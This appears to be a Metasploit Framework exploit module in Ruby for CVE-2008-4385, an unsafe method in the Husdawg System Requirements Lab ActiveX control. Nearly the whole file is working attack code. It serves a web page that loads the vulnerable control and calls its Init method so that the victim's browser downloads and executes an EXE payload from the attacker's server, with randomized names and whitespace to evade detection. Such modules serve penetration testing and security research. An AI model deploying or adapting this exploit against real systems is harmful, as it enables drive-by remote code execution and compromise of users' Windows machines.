95 lines
2.4 KiB
Ruby
95 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method',
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'Description' => %q{
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This module allows attackers to execute code via an unsafe method in
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Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0)
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-4385' ],
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[ 'OSVDB', '50122' ],
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[ 'US-CERT-VU', '166651' ],
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],
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'Payload' =>
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{
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'Space' => 2048,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 16 2008'))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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payload_url = "http://"
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payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
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if (request.uri.match(/payload/))
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return if ((p = regenerate_payload(cli)) == nil)
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data = generate_payload_exe({ :code => p.encoded })
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print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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vname = rand_text_alpha(rand(100) + 1)
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exe = rand_text_alpha(rand(20) + 1)
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content = %Q|
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<html>
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<object classid='clsid:67A5F8DC-1A4B-4D66-9F24-A704AD929EEE' id='#{vname}'></object>
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<script language='JavaScript'>
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#{vname}.Init("#{payload_url}/#{exe}.exe", "#{vname}");
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</script>
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</html>
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content = Rex::Text.randomize_space(content)
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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